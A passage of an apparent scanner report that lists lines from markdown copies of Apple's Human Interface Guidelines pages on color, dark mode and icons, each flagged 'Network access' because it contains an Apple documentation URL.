    Control accent| The accent color people select in System Settings.| [`controlAccentColor`](https://developer.apple.com/documentation/AppKit/NSColor/controlAccentColor)
  • Network accessline 144
    Control background color| The background of a large interface element, such as a browser or table.| [`controlBackgroundColor`](https://developer.apple.com/documentation/AppKit/NSColor/controlBackgroundColor)
  • Network accessline 145
    Control color| The surface of a control.| [`controlColor`](https://developer.apple.com/documentation/AppKit/NSColor/controlColor)
  • Network accessline 146
    Control text color| The text of a control that is available.| [`controlTextColor`](https://developer.apple.com/documentation/AppKit/NSColor/controlTextColor)
  • Network accessline 147
    Current control tint| The system-defined control tint.| [`currentControlTint`](https://developer.apple.com/documentation/AppKit/NSColor/currentControlTint)
  • Network accessline 148
    Unavailable control text color| The text of a control that’s unavailable.| [`disabledControlTextColor`](https://developer.apple.com/documentation/AppKit/NSColor/disabledControlTextColor)
  • Network accessline 149
    Find highlight color| The color of a find indicator.| [`findHighlightColor`](https://developer.apple.com/documentation/AppKit/NSColor/findHighlightColor)
  • Network accessline 150
    Grid color| The gridlines of an interface element, such as a table.| [`gridColor`](https://developer.apple.com/documentation/AppKit/NSColor/gridColor)
  • Network accessline 151
    Header text color| The text of a header cell in a table.| [`headerTextColor`](https://developer.apple.com/documentation/AppKit/NSColor/headerTextColor)
  • Network accessline 152
    Highlight color| The virtual light source onscreen.| [`highlightColor`](https://developer.apple.com/documentation/AppKit/NSColor/highlightColor)
  • Network accessline 153
    Keyboard focus indicator color| The ring that appears around the currently focused control when using the keyboard for interface navigation.| [`keyboardFocusIndicatorColor`](https://developer.apple.com/documentation/AppKit/NSColor/keyboardF
  • Network accessline 154
    Label color| The text of a label containing primary content.| [`labelColor`](https://developer.apple.com/documentation/AppKit/NSColor/labelColor)
  • Network accessline 155
    Link color| A link to other content.| [`linkColor`](https://developer.apple.com/documentation/AppKit/NSColor/linkColor)
  • Network accessline 156
    Placeholder text color| A placeholder string in a control or text view.| [`placeholderTextColor`](https://developer.apple.com/documentation/AppKit/NSColor/placeholderTextColor)
  • Network accessline 157
    Quaternary label color| The text of a label of lesser importance than a tertiary label, such as watermark text.| [`quaternaryLabelColor`](https://developer.apple.com/documentation/AppKit/NSColor/quaternaryLabelColor)
  • Network accessline 158
    Secondary label color| The text of a label of lesser importance than a primary label, such as a label used to represent a subheading or additional information.| [`secondaryLabelColor`](https://developer.apple.com/documentation/AppKit/NSColo
  • Network accessline 159
    Selected content background color| The background for selected content in a key window or view.| [`selectedContentBackgroundColor`](https://developer.apple.com/documentation/AppKit/NSColor/selectedContentBackgroundColor)
  • Network accessline 160
    Selected control color| The surface of a selected control.| [`selectedControlColor`](https://developer.apple.com/documentation/AppKit/NSColor/selectedControlColor)
  • Network accessline 161
    Selected control text color| The text of a selected control.| [`selectedControlTextColor`](https://developer.apple.com/documentation/AppKit/NSColor/selectedControlTextColor)
  • Network accessline 162
    Selected menu item text color| The text of a selected menu.| [`selectedMenuItemTextColor`](https://developer.apple.com/documentation/AppKit/NSColor/selectedMenuItemTextColor)
  • Network accessline 163
    Selected text background color| The background of selected text.| [`selectedTextBackgroundColor`](https://developer.apple.com/documentation/AppKit/NSColor/selectedTextBackgroundColor)
  • Network accessline 164
    Selected text color| The color for selected text.| [`selectedTextColor`](https://developer.apple.com/documentation/AppKit/NSColor/selectedTextColor)
  • Network accessline 165
    Separator color| A separator between different sections of content.| [`separatorColor`](https://developer.apple.com/documentation/AppKit/NSColor/separatorColor)
  • Network accessline 166
    Shadow color| The virtual shadow cast by a raised object onscreen.| [`shadowColor`](https://developer.apple.com/documentation/AppKit/NSColor/shadowColor)
  • Network accessline 167
    Tertiary label color| The text of a label of lesser importance than a secondary label.| [`tertiaryLabelColor`](https://developer.apple.com/documentation/AppKit/NSColor/tertiaryLabelColor)
  • Network accessline 168
    Text background color| The background color behind text.| [`textBackgroundColor`](https://developer.apple.com/documentation/AppKit/NSColor/textBackgroundColor)
  • Network accessline 169
    Text color| The text in a document.| [`textColor`](https://developer.apple.com/documentation/AppKit/NSColor/textColor)
  • Network accessline 170
    Under page background color| The background behind a document’s content.| [`underPageBackgroundColor`](https://developer.apple.com/documentation/AppKit/NSColor/underPageBackgroundColor)
  • Network accessline 171
    Unemphasized selected content background color| The selected content in a non-key window or view.| [`unemphasizedSelectedContentBackgroundColor`](https://developer.apple.com/documentation/AppKit/NSColor/unemphasizedSelectedContentBackground
  • Network accessline 172
    Unemphasized selected text background color| A background for selected text in a non-key window or view.| [`unemphasizedSelectedTextBackgroundColor`](https://developer.apple.com/documentation/AppKit/NSColor/unemphasizedSelectedTextBackgroun
  • Network accessline 173
    Unemphasized selected text color| Selected text in a non-key window or view.| [`unemphasizedSelectedTextColor`](https://developer.apple.com/documentation/AppKit/NSColor/unemphasizedSelectedTextColor)
  • Network accessline 174
    Window background color| The background of a window.| [`windowBackgroundColor`](https://developer.apple.com/documentation/AppKit/NSColor/windowBackgroundColor)
  • Network accessline 175
    Window frame text color| The text in the window’s title bar area.| [`windowFrameTextColor`](https://developer.apple.com/documentation/AppKit/NSColor/windowFrameTextColor)
  • Network accessline 177
    #### [App accent colors](https://developer.apple.com/design/human-interface-guidelines/color#App-accent-colors)
  • Network accessline 181
    ![A screenshot of the accent color picker in the System Settings app.](https://docs-assets.developer.apple.com/published/93ebe4b08af4e94a5c4479459fc7905b/colors-accent-colors-picker-multicolor%402x.png)
  • Network accessline 183
    If people set their accent color setting to a value other than multicolor, the system applies their chosen color to the relevant items throughout your app, replacing your accent color. The exception is a sidebar icon that uses a fixed color
  • Network accessline 185
    ### [tvOS](https://developer.apple.com/design/human-interface-guidelines/color#tvOS)
  • Network accessline 191
    ### [visionOS](https://developer.apple.com/design/human-interface-guidelines/color#visionOS)
  • Network accessline 193
    **Use color sparingly, especially on glass.** Standard visionOS windows typically use the system-defined glass [material](https://developer.apple.com/design/human-interface-guidelines/materials), which lets light and objects from people’s p
  • Network accessline 199
    ### [watchOS](https://developer.apple.com/design/human-interface-guidelines/color#watchOS)
  • Network accessline 203
    **Recognize that people might prefer graphic complications to use tinted mode instead of full color.** The system can use a single color that’s based on the wearer’s selected color in a graphic complication’s images, gauges, and text. For g
  • Network accessline 205
    ## [Specifications](https://developer.apple.com/design/human-interface-guidelines/color#Specifications)
  • Network accessline 207
    ### [System colors](https://developer.apple.com/design/human-interface-guidelines/color#System-colors)
  • Network accessline 209
    Name| SwiftUI API| Default (light)| Default (dark)| Increased contrast (light)| Increased contrast (dark)   ---|---|---|---|---|---   Red| [`red`](https://developer.apple.com/documentation/SwiftUI/Color/red)| ![R-255,G-56,B-60](https://docs
  • Network accessline 210
    ---|---|---|---|---|---   Red| [`red`](https://developer.apple.com/documentation/SwiftUI/Color/red)| ![R-255,G-56,B-60](https://docs-assets.developer.apple.com/published/56ba9eebe119d2e1b3063503a2eb45b7/colors-unified-red-light%402x.png)| !
  • Network accessline 211
    Red| [`red`](https://developer.apple.com/documentation/SwiftUI/Color/red)| ![R-255,G-56,B-60](https://docs-assets.developer.apple.com/published/56ba9eebe119d2e1b3063503a2eb45b7/colors-unified-red-light%402x.png)| ![R-255,G-66,B-69](https://
  • Network accessline 212
    Orange| [`orange`](https://developer.apple.com/documentation/SwiftUI/Color/orange)| ![R-255,G-141,B-40](https://docs-assets.developer.apple.com/published/57f431ec786e31e33f578ace3dbb8c78/colors-unified-orange-light%402x.png)| ![R-255,G-146,
  • Network accessline 213
    Yellow| [`yellow`](https://developer.apple.com/documentation/SwiftUI/Color/yellow)| ![R-255,G-204,B-0](https://docs-assets.developer.apple.com/published/bebac431675840fa7e0e70cce0a6eb76/colors-unified-yellow-light%402x.png)| ![R-255,G-214,B
  • Network accessline 214
    Green| [`green`](https://developer.apple.com/documentation/SwiftUI/Color/green)| ![R-52,G-199,B-89](https://docs-assets.developer.apple.com/published/b4226cfcf596812d46bd084322f47e65/colors-unified-green-light%402x.png)| ![R-48,G-209,B-88](
  • Network accessline 215
    Mint| [`mint`](https://developer.apple.com/documentation/SwiftUI/Color/mint)| ![R-0,G-200,B-179](https://docs-assets.developer.apple.com/published/5d07acb38b9d0d7098f0b92456a7d27c/colors-unified-mint-light%402x.png)| ![R-0,G-218,B-195](http
  • Network accessline 216
    Teal| [`teal`](https://developer.apple.com/documentation/SwiftUI/Color/teal)| ![R-0,G-195,B-208](https://docs-assets.developer.apple.com/published/6b8e5d90758cc858b4d3e20110a31f53/colors-unified-teal-light%402x.png)| ![R-0,G-210,B-224](http
  • Network accessline 217
    Cyan| [`cyan`](https://developer.apple.com/documentation/SwiftUI/Color/cyan)| ![R-0,G-192,B-232](https://docs-assets.developer.apple.com/published/3eb3076ca71a16ce1bede399e815e736/colors-unified-cyan-light%402x.png)| ![R-60,G-211,B-254](htt
  • Network accessline 218
    Blue| [`blue`](https://developer.apple.com/documentation/SwiftUI/Color/blue)| ![R-0,G-136,B-255](https://docs-assets.developer.apple.com/published/6ea9cabe180214ed99be04320df3501b/colors-unified-blue-light%402x.png)| ![R-0,G-145,B-255](http
  • Network accessline 219
    Indigo| [`indigo`](https://developer.apple.com/documentation/SwiftUI/Color/indigo)| ![R-97,G-85,B-245](https://docs-assets.developer.apple.com/published/2da5c45a0e483dcaac4447464da4b6a7/colors-unified-indigo-light%402x.png)| ![R-109,G-124,B
  • Network accessline 220
    Purple| [`purple`](https://developer.apple.com/documentation/SwiftUI/Color/purple)| ![R-203,G-48,B-224](https://docs-assets.developer.apple.com/published/2f07dfc6c397fba6d0abda5f5051a025/colors-unified-purple-light%402x.png)| ![R-219,G-52,B
  • Network accessline 221
    Pink| [`pink`](https://developer.apple.com/documentation/SwiftUI/Color/pink)| ![R-255,G-45,B-85](https://docs-assets.developer.apple.com/published/1486931dce50d7610a397607afc0fb4d/colors-unified-pink-light%402x.png)| ![R-255,G-55,B-95](http
  • Network accessline 222
    Brown| [`brown`](https://developer.apple.com/documentation/SwiftUI/Color/brown)| ![R-172,G-127,B-94](https://docs-assets.developer.apple.com/published/366eca06d26c2f759d6200a1e9b0a56f/colors-unified-brown-light%402x.png)| ![R-183,G-138,B-10
  • Network accessline 226
    ### [iOS, iPadOS system gray colors](https://developer.apple.com/design/human-interface-guidelines/color#iOS-iPadOS-system-gray-colors)
  • Network accessline 228
    Name| UIKit API| Default (light)| Default (dark)| Increased contrast (light)| Increased contrast (dark)   ---|---|---|---|---|---   Gray| [`systemGray`](https://developer.apple.com/documentation/UIKit/UIColor/systemGray)| ![R-142,G-142,B-14
  • Network accessline 229
    ---|---|---|---|---|---   Gray| [`systemGray`](https://developer.apple.com/documentation/UIKit/UIColor/systemGray)| ![R-142,G-142,B-147](https://docs-assets.developer.apple.com/published/cc1289b6fd4b76c79bbeda356463232a/ios-default-systemgr
  • Network accessline 230
    Gray| [`systemGray`](https://developer.apple.com/documentation/UIKit/UIColor/systemGray)| ![R-142,G-142,B-147](https://docs-assets.developer.apple.com/published/cc1289b6fd4b76c79bbeda356463232a/ios-default-systemgray%402x.png)| ![R-142,G-14
  • Network accessline 231
    Gray (2)| [`systemGray2`](https://developer.apple.com/documentation/UIKit/UIColor/systemGray2)| ![R-174,G-174,B-178](https://docs-assets.developer.apple.com/published/d00617ff05181a53d2cb5ddf143d502e/ios-default-systemgray2%402x.png)| ![R-9
  • Network accessline 232
    Gray (3)| [`systemGray3`](https://developer.apple.com/documentation/UIKit/UIColor/systemGray3)| ![R-199,G-199,B-204](https://docs-assets.developer.apple.com/published/bcbb9fb97382e52aa09de7239a6edcf7/ios-default-systemgray3%402x.png)| ![R-7
  • Network accessline 233
    Gray (4)| [`systemGray4`](https://developer.apple.com/documentation/UIKit/UIColor/systemGray4)| ![R-209,G-209,B-214](https://docs-assets.developer.apple.com/published/5e1c546e8c78d9700b1ee58ce3a39972/ios-default-systemgray4%402x.png)| ![R-5
  • Network accessline 234
    Gray (5)| [`systemGray5`](https://developer.apple.com/documentation/UIKit/UIColor/systemGray5)| ![R-229,G-229,B-234](https://docs-assets.developer.apple.com/published/91f296b3990bfe6dcd28b1804c803581/ios-default-systemgray5%402x.png)| ![R-4
  • Network accessline 235
    Gray (6)| [`systemGray6`](https://developer.apple.com/documentation/UIKit/UIColor/systemGray6)| ![R-242,G-242,B-247](https://docs-assets.developer.apple.com/published/3d60e2b1bf4771610453a31de912647b/ios-default-systemgray6%402x.png)| ![R-2
  • Network accessline 237
    In SwiftUI, the equivalent of `systemGray` is [`gray`](https://developer.apple.com/documentation/SwiftUI/Color/gray).
  • Network accessline 239
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/color#Resources)
  • Network accessline 241
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/color#Related)
  • Network accessline 243
    [Dark Mode](https://developer.apple.com/design/human-interface-guidelines/dark-mode)
  • Network accessline 245
    [Accessibility](https://developer.apple.com/design/human-interface-guidelines/accessibility)
  • Network accessline 247
    [Materials](https://developer.apple.com/design/human-interface-guidelines/materials)
  • Network accessline 249
    [Apple Design Resources](https://developer.apple.com/design/resources/)
  • Network accessline 251
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/color#Developer-documentation)
  • Network accessline 253
    [`Color`](https://developer.apple.com/documentation/SwiftUI/Color) — SwiftUI
  • Network accessline 255
    [`UIColor`](https://developer.apple.com/documentation/UIKit/UIColor) — UIKit
  • Network accessline 257
    [Color](https://developer.apple.com/documentation/AppKit/color) — AppKit
  • Network accessline 259
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/color#Videos)
  • Network accessline 261
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/5CD0E251-424E-490F-89CF-1E64848209A6/9910_wide_250x141_1x.jpg) Meet Liquid Glass ](https://developer.apple.com/videos/play/wwdc2025/219)
  • Network accessline 263
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/color#Change-log)

skills/hig-foundations/references/dark-mode.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Dark Mode | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/dark-mode
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/dark-mode
  • Network accessline 9
    ![A sketch of concentric circles with half-filled areas, suggesting the presence of light and dark. The image is overlaid with rectangular and circular grid lines and is tinted yellow to subtly reflect the yellow in the original six-color A
  • Network accessline 13
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/dark-mode#Best-practices)
  • Network accessline 19
    **Test your content to make sure that it remains comfortably legible in both appearance modes.** For example, in Dark Mode with Increase Contrast and Reduce Transparency turned on (both separately and together), you may find places where da
  • Network accessline 23
    ![A screenshot of the Stocks app on iPhone in its standard dark-only appearance, showing the Apple Inc. stock in detail. The view includes a summary of the current stock price along with a graph of its performance over the past year.](https
  • Network accessline 27
    ## [Dark Mode colors](https://developer.apple.com/design/human-interface-guidelines/dark-mode#Dark-Mode-colors)
  • Network accessline 29
    The color palette in Dark Mode includes dimmer background colors and brighter foreground colors. It’s important to realize that these colors aren’t necessarily inversions of their light counterparts: while many colors are inverted, some are
  • Network accessline 31
    **Embrace colors that adapt to the current appearance.** Semantic colors (like [`labelColor`](https://developer.apple.com/documentation/AppKit/NSColor/labelColor) and [`controlColor`](https://developer.apple.com/documentation/AppKit/NSColor
  • Network accessline 33
    ![An illustration of a square with a light background and four color swatches representing system colors in the light appearance.](https://docs-assets.developer.apple.com/published/083d8f0f70c26b7fdea230f7da1edfeb/dark-mode-system-colors-li
  • Network accessline 35
    ![An illustration of a square with a dark background and four color swatches representing system colors in the dark appearance.](https://docs-assets.developer.apple.com/published/247df4f7b00e65cdd3827de84135fcda/dark-mode-system-colors-dark
  • Network accessline 41
    ### [Icons and images](https://developer.apple.com/design/human-interface-guidelines/dark-mode#Icons-and-images)
  • Network accessline 43
    The system uses [SF Symbols](https://developer.apple.com/design/human-interface-guidelines/sf-symbols) (which automatically adapt to Dark Mode) and full-color images that are optimized for both the light and dark appearances.
  • Network accessline 45
    **Use SF Symbols wherever possible.** Symbols work well in both appearance modes when you use dynamic colors to tint them or when you add vibrancy. For guidance, see [Color](https://developer.apple.com/design/human-interface-guidelines/colo
  • Network accessline 49
    ![An illustration of a black droplet icon against a light background.](https://docs-assets.developer.apple.com/published/5377a16f9c47c32d5716a2de9e7e5ddb/dark-mode-icon-in-light-mode%402x.png)Icon in the light appearance with no border
  • Network accessline 51
    ![An illustration of a black droplet icon against a dark background. The icon has a white border to distinguish it from the similar surrounding color.](https://docs-assets.developer.apple.com/published/a2ebe256a3e677367cc3e965e8282168/dark-
  • Network accessline 55
    ![An illustration of two people sitting at a restaurant table done in a simple, abstract style. The illustration has a light background and its details are clearly visible.](https://docs-assets.developer.apple.com/published/017a90f0e42a841e
  • Network accessline 57
    ![An illustration of two people sitting at a restaurant table done in a simple, abstract style. The illustration has a dark background, and the darker portions of the image are hard to distinguish from the background.](https://docs-assets.d
  • Network accessline 59
    ![An illustration of two people sitting at a restaurant table done in a simple, abstract style. The illustration has a dark background, and its color values are adjusted to be clearly visible in contrast to the background.](https://docs-ass
  • Network accessline 61
    ### [Text](https://developer.apple.com/design/human-interface-guidelines/dark-mode#Text)
  • Network accessline 67
    ![An illustration of a button in the light appearance with dark primary label text.](https://docs-assets.developer.apple.com/published/4dc33e45cd6cae3da766f885044174e9/dark-mode-label-in-light-mode%402x.png)Primary label in the light appear
  • Network accessline 69
    ![An illustration of a button in the dark appearance with light secondary label text.](https://docs-assets.developer.apple.com/published/5a2df784b29a55d1db485c30efb94009/dark-mode-label-in-dark-mode%402x.png)Secondary label in the dark appe
  • Network accessline 73
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/dark-mode#Platform-considerations)
  • Network accessline 77
    ### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/dark-mode#iOS-iPadOS)
  • Network accessline 81
    ![A diagram that shows a stack of 4 terms on top of a black background. The term at the top shows the most contrast with the background and the term at the bottom shows the least.](https://docs-assets.developer.apple.com/published/0d71ac9f5
  • Network accessline 83
    ![A diagram that shows a stack of 4 terms on top of a nearly black background. The term at the top shows the most contrast with the background and the term at the bottom shows the least.](https://docs-assets.developer.apple.com/published/0d
  • Network accessline 85
    ![A diagram that shows a stack of 4 terms on top of a white background. The term at the top shows the most contrast with the background and the term at the bottom shows the least.](https://docs-assets.developer.apple.com/published/cbbe9a390
  • Network accessline 89
    ### [macOS](https://developer.apple.com/design/human-interface-guidelines/dark-mode#macOS)
  • Network accessline 95
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/dark-mode#Resources)
  • Network accessline 97
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/dark-mode#Related)
  • Network accessline 99
    [Color](https://developer.apple.com/design/human-interface-guidelines/color)
  • Network accessline 101
    [Materials](https://developer.apple.com/design/human-interface-guidelines/materials)
  • Network accessline 103
    [Typography](https://developer.apple.com/design/human-interface-guidelines/typography)
  • Network accessline 105
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/dark-mode#Videos)
  • Network accessline 107
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/5CD0E251-424E-490F-89CF-1E64848209A6/9910_wide_250x141_1x.jpg) Meet Liquid Glass ](https://developer.apple.com/videos/play/wwdc2025/219)
  • Network accessline 109
    [![](https://devimages-cdn.apple.com/wwdc-services/images/48/174747D6-8723-4194-A932-7765179F1108/2949_wide_250x141_1x.jpg) Implementing Dark Mode on iOS ](https://developer.apple.com/videos/play/wwdc2019/214)
  • Network accessline 111
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/dark-mode#Change-log)

skills/hig-foundations/references/icons.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Icons | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/icons
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/icons
  • Network accessline 9
    ![A sketch of the Command key icon. The image is overlaid with rectangular and circular grid lines and is tinted yellow to subtly reflect the yellow in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/e7
  • Network accessline 11
    Apps and games use a variety of simple icons to help people understand the items, actions, and modes they can choose. Unlike [app icons](https://developer.apple.com/design/human-interface-guidelines/app-icons), which can use rich visual det
  • Network accessline 13
    You can design interface icons — also called _glyphs_ — or you can choose symbols from the SF Symbols app, using them as-is or customizing them to suit your needs. Both interface icons and symbols use black and clear colors to define their 
  • Network accessline 15
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/icons#Best-practices)
  • Network accessline 21
    ![Diagram of four glyphs in a row. From the left, the glyphs are a camera, a heart, an envelope, and an alarm clock. Two horizontal dashed lines show the bottom and top boundaries of the row and a horizontal red line shows the midpoint. All
  • Network accessline 23
    ![Diagram of the same four glyphs shown above and the same horizontal dashed lines at top and bottom and horizontal red line through the middle. In this diagram, all four glyphs are solid gray; the interior detail lines are black to emphasi
  • Network accessline 29
    ![Two images of a white arrow that points down to a white horizontal line segment within a black disk. The image on the right includes two horizontal pink bars — one between the top of the glyph and the top of the disk and the other between
  • Network accessline 33
    ![Two images of a white arrow that points down to a white horizontal line segment within a black disk. The image on the left includes the two horizontal pink bars in the same locations as in the previous illustration, but the glyph has been
  • Network accessline 37
    ![Two images of a white arrow that points down to a white horizontal line segment within a black disk. The glyph on the left is geometrically centered and the one on the right is optically centered.](https://docs-assets.developer.apple.com/
  • Network accessline 41
    ![An image of two toolbar buttons that share a background. The left button shows the Filter icon in a selected state, using a blue tint color for its background. The right button shows the More icon in an unselected state, using the default
  • Network accessline 43
    **Use inclusive images.** Consider how your icons can be understandable and welcoming to everyone. Prefer depicting gender-neutral human figures and avoid images that might be hard to recognize across different cultures or languages. For gu
  • Network accessline 45
    **Include text in your design only when it’s essential for conveying meaning.** For example, using a character in an interface icon that represents text formatting can be the most direct way to communicate the concept. If you need to displa
  • Network accessline 47
    ![A partial screenshot of the SF Symbols app showing the info panel for the character symbol, which looks like the capital letter A. Below the image, the following eight localized versions of the symbol are listed: Latin, Arabic, Hebrew, Hi
  • Network accessline 49
    ![A partial screenshot of the SF Symbols app showing the info panel for the text dot page symbol, which looks like three left-aligned horizontal lines inside a rounded rectangle. Below the image, the left-to-right and right-to-left localize
  • Network accessline 51
    **If you create a custom interface icon, use a vector format like PDF or SVG.** The system automatically scales a vector-based interface icon for high-resolution displays, so you don’t need to provide high-resolution versions of it. In cont
  • Network accessline 53
    **Provide alternative text labels for custom interface icons.** Alternative text labels — or accessibility descriptions — aren’t visible, but they let VoiceOver audibly describe what’s onscreen, simplifying navigation for people with visual
  • Network accessline 55
    **Avoid using replicas of Apple hardware products.** Hardware designs tend to change frequently and can make your interface icons and other content appear dated. If you must display Apple hardware, use only the images available in [Apple De
  • Network accessline 57
    ## [Standard icons](https://developer.apple.com/design/human-interface-guidelines/icons#Standard-icons)
  • Network accessline 59
    For icons to represent common actions in [menus](https://developer.apple.com/design/human-interface-guidelines/menus), [toolbars](https://developer.apple.com/design/human-interface-guidelines/toolbars), [buttons](https://developer.apple.com
  • Network accessline 61
    ### [Editing](https://developer.apple.com/design/human-interface-guidelines/icons#Editing)
  • Network accessline 63
    Action| Icon| Symbol name   ---|---|---   Cut| ![An icon showing a pair of scissors.](https://docs-assets.developer.apple.com/published/16c5fe84ae743e06cf2d388fc64e0cf4/icons-symbols-meaning-cut%402x.png)| `scissors`
  • Network accessline 64
    ---|---|---   Cut| ![An icon showing a pair of scissors.](https://docs-assets.developer.apple.com/published/16c5fe84ae743e06cf2d388fc64e0cf4/icons-symbols-meaning-cut%402x.png)| `scissors`   Copy| ![An icon showing two copies of a document.
  • Network accessline 65
    Cut| ![An icon showing a pair of scissors.](https://docs-assets.developer.apple.com/published/16c5fe84ae743e06cf2d388fc64e0cf4/icons-symbols-meaning-cut%402x.png)| `scissors`
  • Network accessline 66
    Copy| ![An icon showing two copies of a document.](https://docs-assets.developer.apple.com/published/a88919c55265efbadeac0df5e16ffd05/icons-symbols-meaning-copy%402x.png)| `document.on.document`
  • Network accessline 67
    Paste| ![An icon showing a document in front of a clipboard.](https://docs-assets.developer.apple.com/published/20e32bbb2a3a94eb35d01ddfa9c630e0/icons-symbols-meaning-paste%402x.png)| `document.on.clipboard`
  • Network accessline 68
    Done| ![An icon showing a checkmark.](https://docs-assets.developer.apple.com/published/833bd3b8ccdf0e2fee0893b3858ddae5/icons-symbols-meaning-done-save%402x.png)| `checkmark `
  • Network accessline 69
    Save   Cancel| ![An icon showing an X.](https://docs-assets.developer.apple.com/published/b834206c8d155bc1b0d9d17c206c6da3/icons-symbols-meaning-close-cancel%402x.png)| `xmark`   Close
  • Network accessline 70
    Cancel| ![An icon showing an X.](https://docs-assets.developer.apple.com/published/b834206c8d155bc1b0d9d17c206c6da3/icons-symbols-meaning-close-cancel%402x.png)| `xmark`
  • Network accessline 71
    Close   Delete| ![An icon showing a trash can.](https://docs-assets.developer.apple.com/published/61f8368d02b05af22d3253a892ced7f3/icons-symbols-meaning-delete%402x.png)| `trash`   Undo| ![An icon showing an arrow curving toward the top lef
  • Network accessline 72
    Delete| ![An icon showing a trash can.](https://docs-assets.developer.apple.com/published/61f8368d02b05af22d3253a892ced7f3/icons-symbols-meaning-delete%402x.png)| `trash`
  • Network accessline 73
    Undo| ![An icon showing an arrow curving toward the top left.](https://docs-assets.developer.apple.com/published/e3e973d07e4cfa983c92e37da5b3e104/icons-symbols-meaning-undo%402x.png)| `arrow.uturn.backward`
  • Network accessline 74
    Redo| ![An icon showing an arrow curving toward the top right.](https://docs-assets.developer.apple.com/published/0f263db97ca2b7c31bbbd3cd5682d071/icons-symbols-meaning-redo%402x.png)| `arrow.uturn.forward`
  • Network accessline 75
    Compose| ![An icon showing a pencil positioned over a square.](https://docs-assets.developer.apple.com/published/cfac914468b7fa2f287495f8644f3937/icons-symbols-meaning-compose%402x.png)| `square.and.pencil`
  • Network accessline 76
    Duplicate| ![An icon showing a square with a plus sign on top of another square.](https://docs-assets.developer.apple.com/published/96323f746d3c67172648745420a15c27/icons-symbols-meaning-duplicate%402x.png)| `plus.square.on.square`
  • Network accessline 77
    Rename| ![An icon showing a pencil.](https://docs-assets.developer.apple.com/published/8d3692b6e29cf0cdcb7885af414b2693/icons-symbols-meaning-rename%402x.png)| `pencil`
  • Network accessline 78
    Move to| ![An icon showing a folder.](https://docs-assets.developer.apple.com/published/77c3e45c395bf2d2225c85979eca53a8/icons-symbols-meaning-move-to-folder%402x.png)| `folder`
  • Network accessline 79
    Folder   Attach| ![An icon showing a paperclip.](https://docs-assets.developer.apple.com/published/e493eab83f8cc2a6f0aaa2ced386dcff/icons-symbols-meaning-attach%402x.png)| `paperclip`   Add| ![An icon showing a plus sign.](https://docs-asse
  • Network accessline 80
    Attach| ![An icon showing a paperclip.](https://docs-assets.developer.apple.com/published/e493eab83f8cc2a6f0aaa2ced386dcff/icons-symbols-meaning-attach%402x.png)| `paperclip`
  • Network accessline 81
    Add| ![An icon showing a plus sign.](https://docs-assets.developer.apple.com/published/e0a7d36fc7aecfd6e49a4d0c0cb196af/icons-symbols-meaning-add%402x.png)| `plus`
  • Network accessline 82
    More| ![An icon showing an ellipsis.](https://docs-assets.developer.apple.com/published/92e0b17a3881b62008563deb4a2aca40/icons-symbols-meaning-more%402x.png)| `ellipsis`
  • Network accessline 84
    ### [Selection](https://developer.apple.com/design/human-interface-guidelines/icons#Selection)
  • Network accessline 86
    Action| Icon| Symbol name   ---|---|---   Select| ![An icon showing a checkmark in a circle.](https://docs-assets.developer.apple.com/published/7eac493b5a3896062a90328117d43e90/icons-symbols-meaning-select-all%402x.png)| `checkmark.circle`
  • Network accessline 87
    ---|---|---   Select| ![An icon showing a checkmark in a circle.](https://docs-assets.developer.apple.com/published/7eac493b5a3896062a90328117d43e90/icons-symbols-meaning-select-all%402x.png)| `checkmark.circle`   Deselect| ![An icon showin
  • Network accessline 88
    Select| ![An icon showing a checkmark in a circle.](https://docs-assets.developer.apple.com/published/7eac493b5a3896062a90328117d43e90/icons-symbols-meaning-select-all%402x.png)| `checkmark.circle`
  • Network accessline 89
    Deselect| ![An icon showing an X.](https://docs-assets.developer.apple.com/published/b834206c8d155bc1b0d9d17c206c6da3/icons-symbols-meaning-deselect-close%402x.png)| `xmark`
  • Network accessline 91
    Delete| ![An icon showing a trash can.](https://docs-assets.developer.apple.com/published/61f8368d02b05af22d3253a892ced7f3/icons-symbols-meaning-delete%402x.png)| `trash`
  • Network accessline 93
    ### [Text formatting](https://developer.apple.com/design/human-interface-guidelines/icons#Text-formatting)
  • Network accessline 95
    Action| Icon| Symbol name   ---|---|---   Superscript| ![An icon showing the capital letter A with the number 1 in the upper right corner.](https://docs-assets.developer.apple.com/published/7e5e3d9b1b0eb6f340f531841d6b27f9/icons-symbols-mea
  • Network accessline 96
    ---|---|---   Superscript| ![An icon showing the capital letter A with the number 1 in the upper right corner.](https://docs-assets.developer.apple.com/published/7e5e3d9b1b0eb6f340f531841d6b27f9/icons-symbols-meaning-superscript%402x.png)| 
  • Network accessline 97
    Superscript| ![An icon showing the capital letter A with the number 1 in the upper right corner.](https://docs-assets.developer.apple.com/published/7e5e3d9b1b0eb6f340f531841d6b27f9/icons-symbols-meaning-superscript%402x.png)| `textformat.su
  • Network accessline 98
    Subscript| ![An icon showing the capital letter A with the number 1 in the lower right corner.](https://docs-assets.developer.apple.com/published/aac330c124cac37a78e02d6049943e53/icons-symbols-meaning-subscript%402x.png)| `textformat.subscr
  • Network accessline 99
    Bold| ![An icon showing the capital letter B in bold.](https://docs-assets.developer.apple.com/published/c8695e06d6461e79c145e9b6627f70ac/icons-symbols-meaning-bold%402x.png)| `bold`
  • Network accessline 100
